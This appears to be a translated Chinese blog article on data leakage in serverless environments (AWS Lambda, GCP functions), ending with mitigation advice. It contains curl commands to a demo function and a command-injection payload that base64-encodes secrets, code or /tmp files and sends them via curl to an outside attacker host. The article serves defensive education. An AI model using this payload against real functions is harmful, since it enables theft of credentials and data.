深入研究攻击Serverless环境下的应用 SLS-3: 数据泄露

阅读量    60734 |   稿费 300

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

好消息,The OWASP Serverless Top 10 预览版已经发布。让我们接着本系列,继续探索Serverless应用领域的安全问题。对于Serverless来说,开发者不能自主部属治安官(安全控制器),攻击者也几乎不知道该如何开展行动。

前面的文章中,我研究了事件注入和权限绕过攻击。在本系列的第三篇文章中,我将讨论最令公司们担心的漏洞之一。我们经常能听到重大数据泄露事件,包括最近的泄露5000万Facebook用户等。虽然数据泄露一般只是用户的隐私被侵犯,但公司要为此付出非常高昂的代价。在一些情况下,甚至能让公司倒闭。一家Saas(软件服务)公司,Code Space就是这么一个例子,黑客入侵了它的Amazon Elastic Compute Cloud控制面板,删除所有的EBS快照和实例,S3 储存桶,AMI(镜像)和一些核心实例,最终完全依赖AWS服务的一家公司就这么倒闭了。

你可能会对自己说“我知道这些,但是,对于Serverless架构有什么不同?”。你是个聪明的家伙。

Code Space公司在2014年被攻击,在那时下“Serverless”这个词还未出现。但是,在那时候云服务器和资源(例如S3)可以说是完整的Serverless服务中的一部分了。如果我们在等式中加几个函数(在数学中,这是没有意义的),重新排列字母(比如AMI—>IAM),增加一些缩略词比如EFS,SQS,SES等(都是AWS知名服务),风险同样会成倍增加。如果数据没有得到很好的保护,会面临很大的泄露风险。

现在你可能会说“所以呢?我们有了更多的资源,但是暴露攻击面是相同的”。你说对了一部分(给你两个方向)。现在我们必须从不同角度去审视全局。

第一,处理数据。保护静态和动态的数据。加密你放在的云储存仓库,备份和数据库的数据。云服务提供商通常会给你一些小工具,你能轻松正确地完成。用它们提供的KMS/Key Vault(密钥管理服务)安全储存你的数据。同时确保资源配置正确,这样你就可以防止大规模地数据泄露,甚至可以彻底避免泄露。还有,确保你的密钥不会出现在代码储存库(例如Github)和其他容易被攻击者找到的地方。

对于动态数据来说,你应该确保给所有传输使用TLS协议(传输层安全性协议) 。

第二,有趣的是Serverless环境下的数据。我们的云端服务器(例如:EC2)丢失了/etc/passwd或者/etc/shadow文件,我们也不会很担心。你猜怎么着,这类文件不再敏感了。如果攻击者礼貌地问我,我甚至可以送给他们。

我为什么可以这样做?因为这类文件属于云服务器提供商,我们的应用运行在可随时替换的环境。

问题来了,我们到底要保护什么?答案很简单,但是不同的云服务提供商有不同的情况。

 

你的机密文件

你可能没有自己的服务器,你的代码储存在云储存库或者代码存储库(你不用担心他们的安全),并且你可以管理运行这个子仓库。这个子仓库的位置由运行环境和服务商来决定。举个例子:

你在AWS云上的/var/task目录中存放了一些NodeJS代码,然后你又在GCP(谷歌云平台)的目录(./)上存放了一堆Python代码。现在,你可以自己尝试以下,用下面的curl代码运行cat和ls命令,展示在GCP上任何你感兴趣的文件和目录。

curl -X POST -H "Content-Type: application/json" https://us-east1-slsbot-214001.cloudfunctions.net/gcp-py-explore --data '{"ls":"./"}' | base64 --decode
curl -X POST -H "Content-Type: application/json" https://us-east1-slsbot-214001.cloudfunctions.net/gcp-py-explore --data '{"cat":"main.py"}' | base64 --decode

 

你的密钥文件

这里我们以AWS为例(不同的服务商有不同的情况),提出两种情况:

第一种情况。你完全忽视安全问题,你的函数,内存配置,日志组名称,版本信息等都都没有做权限控制。最大的问题是,函数的tokens也是透明的。

这些token的控制着用户对函数的使用权限。所以,如果这个函数有很高的系统权限,可以遍历数据库或者编辑储存桶,那么,一旦这些tokens落到坏人手中,将导致一场灾难。攻击者甚至不用使用你的函数,只需简单的在自己的电脑AWS cli命令行中使用这些token(下图中aws profile stolen_keys包含了了那些偷来的tokens,比如AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY and AWS_SESSION_TOKEN)。

因为这些token的存在,无论你喜欢与否,你都要限制所有函数的权限为能正常运行的最小权限。举个例子,如果某个函数需要读取S3储存桶,你应该确保它只能读取它需要的那一些。

第二种情况。你做足了权限控制,所有函数的使用都需要密钥,并且密钥作为环境变量传递。只有需要使用该函数时(如代码唤醒,系统进程唤醒),密钥才会传递。如果密钥包含了敏感信息,你应该考虑加密(Base64)它们。如果你这样做,系统进程需要解析(见图一env)。但是该函数如果受代码注入影响,那么攻击者可以通过以下命令解码直接读取密钥的真实值。

ENCRYPTED = os.environ['third_party_api_key']
DECRYPTED = boto3.client('kms').decrypt(CiphertextBlob=b64decode(ENCRYPTED))['Plaintext']

 

你的数据文件

在Serverless环境容器中,除了/tmp文件夹,其他的只有只读权限,你可以在那里写入文件。当函数完成运行后的一段时间,Serverless环境和所有文件通常会被系统自动清除。对于AWS来说,当函数运行完成后4分内没有再次唤醒,首先只会删除该函数的环境。但是在这段时间内被再次唤醒,该函数的运行环境还是原先的环境。不能保证一定是这样的,但是可以确定类似的事件一定会在特定时间段内完成。因为考虑到性能的原因,云服务商提供商必须那么做。

如果你的函数存在漏洞并且它所在的环境有敏感文件,那么它们存在被盗或者被毁坏的风险。为了深入理解,你可以用先前的两个curl命令自己操作一下。你可以自己可以写入数据(base64编码)到/tmp/b64文件夹。

当运行”ls”命令时,你可以看到/out/b64文件大小为252字节。然而,当运行完“cat”,再次使用”ls”,你会发现它的大小标为1496字节。这意味着这时”ls”命令显示的是”cat”命令的调用的输出结果。这时你再次运行”ls”,大小又变回252字节。

那么,我们该担心些什么?只要功能函数存在任何代码执行漏洞,或者进程注入漏洞和api滥用(eg.eval),攻击者都可以利用上面的方法泄露或者更改环境中的敏感数据。举个例子,这里存在一个json类型的代码注入漏洞的功能函数,攻击者可以轻松利用:

--data '{"ls":"/tmp; code=`$secret | base64 --wrap=0`; curl https://serverless.fail/leak?data=$code"}

$secret可以是“cat main.py”用来获取代码文件,或者是“env”该环境的盗取token和密钥,还可以是“cat /tmp/leftover.file”盗取未受保护的/tmp文件夹中遗留的敏感文件。

有趣的是还可以base64编码然后发送到攻击者自己的服务器中(例子中是serverless.fail)。现在只要解码它,第二天,新闻头条将会出现你的“英雄事迹”。

 

如何保护

那么我们该如何防止那些发生?我总结了以下几点:

  1. 尽量压缩存储的数据
  2. 保护静态,动态的数据。使用云服务商提供的加密管理服务来储存数据,机密文件,环境变量(比如 AWS Environment variable encryption, Handling Azure secrets, Storing secrets in GCP
  3. 避免在代码储存库或者其他地方泄露密钥(例如github上)
  4. 严格限制函数的权限以减少攻击面
  5. 执行代码审查和静态分析以减少代码存在漏洞
  6. 监控依赖关系,避免已知的漏洞出现在你的代码中
  7. 使用完/tmp上的文件后,删除它们

 

攻击演示视频

如果你想观看演示视频,这里有

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多